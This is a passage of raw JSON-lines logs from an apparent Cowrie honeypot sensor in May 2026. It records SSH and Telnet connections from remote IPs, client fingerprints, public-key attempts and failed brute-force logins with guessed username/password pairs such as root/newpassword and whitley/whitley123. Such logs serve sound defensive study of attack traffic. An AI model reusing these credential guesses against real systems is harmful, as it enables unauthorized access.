2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:49.462079Z","src_ip":"43.153.22.143","session":"6c86346aa400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley123","message":"login attempt [whitley/whitley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:49.485938Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.70577573776245,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:49.650787Z","src_ip":"152.42.224.71","session":"4590c1e66fcc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpassword","message":"login attempt [root/newpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:49.767774Z","src_ip":"43.153.22.143","session":"6c86346aa400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley1234","message":"login attempt [whitley/whitley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:50.571563Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:50.839033Z","src_ip":"43.153.22.143","session":"6c86346aa400","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whitley","password":"whitley12345","message":"login attempt [whitley/whitley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:51.657080Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:13:52.742674Z","src_ip":"213.209.159.56","session":"f3a9c4382239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":48618,"dst_ip":"159.203.135.109","dst_port":22,"session":"a983601c50c9","protocol":"ssh","message":"New connection: 154.83.13.181:48618 (159.203.135.109:22) [session: a983601c50c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:00.535416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:00.545281Z","src_ip":"154.83.13.181","session":"a983601c50c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:00.748559Z","src_ip":"154.83.13.181","session":"a983601c50c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123123","message":"login attempt [test1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:01.594702Z","src_ip":"154.83.13.181","session":"a983601c50c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:02.803640Z","src_ip":"154.83.13.181","session":"a983601c50c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":42994,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab73090b4ba6","protocol":"ssh","message":"New connection: 43.153.124.153:42994 (10.17.0.5:22) [session: ab73090b4ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.105434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.110522Z","src_ip":"43.153.124.153","session":"ab73090b4ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.180515Z","src_ip":"43.153.124.153","session":"ab73090b4ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Samora4u","message":"login attempt [root/1Samora4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.488110Z","src_ip":"43.153.124.153","session":"ab73090b4ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.147.191","src_port":5498,"dst_ip":"10.17.0.5","dst_port":22,"session":"73638c0f9da1","protocol":"ssh","message":"New connection: 45.148.147.191:5498 (10.17.0.5:22) [session: 73638c0f9da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.494713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.500381Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:10.597698Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:70:e2:10:26:bf:be:78:0d:82:6b:d7:a8:94:a8:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf4noSYdHiPyzP85LaG53eMyYPbj5hIw1HWhn6lXyiloNrntVfIdjUC7RvAq+r1KroqZ3EbKYATCYgyLdh0IiMfPPfi1sUE8+eejhXlruK9R81exacCFkH3FyxVsy6l/fPShCFozbdJnJrsnOta4aaXnu20VnYjQPCJnhelVBy8qTsTSQaT88BJ06nm6+YxmYlsDcACfyYwHVtzY+53+C2T+mSJ5pE6mlKDEDGIZy3lzx1jkupIziFg0el525qfyF5Df4Kb6QAhsZWz7wzLKJfQxlLmd+NtRm68kF4T+gp3FTYK4BuV8APHE7s3LF4tzQ00ElIBTJ7UbSe5ExjD/LZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:70:e2:10:26:bf:be:78:0d:82:6b:d7:a8:94:a8:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.028266Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:70:e2:10:26:bf:be:78:0d:82:6b:d7:a8:94:a8:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDf4noSYdHiPyzP85LaG53eMyYPbj5hIw1HWhn6lXyiloNrntVfIdjUC7RvAq+r1KroqZ3EbKYATCYgyLdh0IiMfPPfi1sUE8+eejhXlruK9R81exacCFkH3FyxVsy6l/fPShCFozbdJnJrsnOta4aaXnu20VnYjQPCJnhelVBy8qTsTSQaT88BJ06nm6+YxmYlsDcACfyYwHVtzY+53+C2T+mSJ5pE6mlKDEDGIZy3lzx1jkupIziFg0el525qfyF5Df4Kb6QAhsZWz7wzLKJfQxlLmd+NtRm68kF4T+gp3FTYK4BuV8APHE7s3LF4tzQ00ElIBTJ7UbSe5ExjD/LZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.032582Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:00:9c:5c:ab:0a:36:87:0c:77:ca:9c:1b:a3:37:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzczz03RD4h5G2IOR/hbET09MFw7xzBgOtPnSiD7X4Bfn3+ZRAb7BFlY0nJW8EOSX47inD9ZwuXBW1PxsXVDmRP+qCNL1NzTYhXdhnqza6YwVSqTQDyGo0hibyU7BE72t1PsN3lIYgp4eCtYt/XiICRTQNzO9Zo1RImOi20CFwdKhKyODVc3S7mTTC2S0HKrTNyblU72DGy9Ny7fg3DWtfjVZN4unDp6V6QnUdbKssxDcYBwFpbG69iZPoGPYFSwf8JpLi8wsNtHTTpe+CFeqyR2Z1BhXjbVGKhSRnP9xVFM2XiYTys3EwkwgHLV5ej04MKux62Yn4SsYILTi+3jgP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:00:9c:5c:ab:0a:36:87:0c:77:ca:9c:1b:a3:37:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.125015Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:00:9c:5c:ab:0a:36:87:0c:77:ca:9c:1b:a3:37:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzczz03RD4h5G2IOR/hbET09MFw7xzBgOtPnSiD7X4Bfn3+ZRAb7BFlY0nJW8EOSX47inD9ZwuXBW1PxsXVDmRP+qCNL1NzTYhXdhnqza6YwVSqTQDyGo0hibyU7BE72t1PsN3lIYgp4eCtYt/XiICRTQNzO9Zo1RImOi20CFwdKhKyODVc3S7mTTC2S0HKrTNyblU72DGy9Ny7fg3DWtfjVZN4unDp6V6QnUdbKssxDcYBwFpbG69iZPoGPYFSwf8JpLi8wsNtHTTpe+CFeqyR2Z1BhXjbVGKhSRnP9xVFM2XiYTys3EwkwgHLV5ej04MKux62Yn4SsYILTi+3jgP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.129440Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:ac:46:59:66:83:ad:2f:71:b5:d7:18:77:ad:41:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdkd4EqVUdZSTK6kdic/KbmJ/QVh2dyYJ867BPw23Em","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f1:ac:46:59:66:83:ad:2f:71:b5:d7:18:77:ad:41:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.222129Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:ac:46:59:66:83:ad:2f:71:b5:d7:18:77:ad:41:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdkd4EqVUdZSTK6kdic/KbmJ/QVh2dyYJ867BPw23Em","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.226890Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:32:44:9b:fc:86:2a:1c:c5:1f:6c:c2:f9:ed:ba:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILR9xNOraDVetTHn/RRu9hvA4dfbwrkjQEAPc2YZGxWP","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 34:32:44:9b:fc:86:2a:1c:c5:1f:6c:c2:f9:ed:ba:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.320458Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:32:44:9b:fc:86:2a:1c:c5:1f:6c:c2:f9:ed:ba:a8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILR9xNOraDVetTHn/RRu9hvA4dfbwrkjQEAPc2YZGxWP","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.324431Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:dc:06:7f:17:c7:2a:9c:11:f0:f9:0f:99:0a:73:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf9icYtioaewTphQLQewy2Z3FTv5OMjXCbpgnDVxJJFNwIdlWVBU/xIIURwmdoQLLRQ3DcO3vw+ilL/NoUIb55oJUA2rb8Inrt6uIUDuQciP/JeaW1+O+LR9jPTbAQt+MbInDXBljystqo2RX9h9L81bLKrz6piK/XBPvPAVSMrNLUTQaeCn4OJrodhDjKbYmml7AHF5TLUNlog3sJ9JAXeFxGOtpYYtwhP1LbcH5TvavSoApXuLIWLD74VNb18ohWszq6r+d8F7ohmgN+FBsS8DchG9T1kUq2RSa1th6KGE1JBzF59lcfozte8li87yxXCwEtDmKK/f+9h2YYaDGv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:dc:06:7f:17:c7:2a:9c:11:f0:f9:0f:99:0a:73:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.417619Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:dc:06:7f:17:c7:2a:9c:11:f0:f9:0f:99:0a:73:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf9icYtioaewTphQLQewy2Z3FTv5OMjXCbpgnDVxJJFNwIdlWVBU/xIIURwmdoQLLRQ3DcO3vw+ilL/NoUIb55oJUA2rb8Inrt6uIUDuQciP/JeaW1+O+LR9jPTbAQt+MbInDXBljystqo2RX9h9L81bLKrz6piK/XBPvPAVSMrNLUTQaeCn4OJrodhDjKbYmml7AHF5TLUNlog3sJ9JAXeFxGOtpYYtwhP1LbcH5TvavSoApXuLIWLD74VNb18ohWszq6r+d8F7ohmgN+FBsS8DchG9T1kUq2RSa1th6KGE1JBzF59lcfozte8li87yxXCwEtDmKK/f+9h2YYaDGv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.422124Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.642857313156128,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.513123Z","src_ip":"152.42.224.71","session":"60019ae2d4b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.520400Z","src_ip":"45.148.147.191","session":"73638c0f9da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:11.560710Z","src_ip":"43.153.124.153","session":"ab73090b4ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.648409605026245,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:19.740420Z","src_ip":"152.42.224.71","session":"762adfd0db87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55818,"dst_ip":"10.17.0.5","dst_port":23,"session":"7602e3e51c56","protocol":"telnet","message":"New connection: 152.42.224.71:55818 (10.17.0.5:23) [session: 7602e3e51c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:20.745434Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":59174,"dst_ip":"10.17.0.5","dst_port":22,"session":"60485aad666a","protocol":"ssh","message":"New connection: 197.248.104.31:59174 (10.17.0.5:22) [session: 60485aad666a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:21.257131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:21.261956Z","src_ip":"197.248.104.31","session":"60485aad666a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:21.471862Z","src_ip":"197.248.104.31","session":"60485aad666a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"comcast","message":"login attempt [root/comcast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:22.342668Z","src_ip":"197.248.104.31","session":"60485aad666a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:23.556404Z","src_ip":"197.248.104.31","session":"60485aad666a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34902,"dst_ip":"10.17.0.5","dst_port":23,"session":"d281226c14d2","protocol":"telnet","message":"New connection: 152.42.224.71:34902 (10.17.0.5:23) [session: d281226c14d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:36.303092Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":51046,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2a41ce11372","protocol":"ssh","message":"New connection: 43.153.69.201:51046 (10.17.0.5:22) [session: a2a41ce11372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:41.046018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:14:41.051868Z","src_ip":"43.153.69.201","session":"a2a41ce11372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","e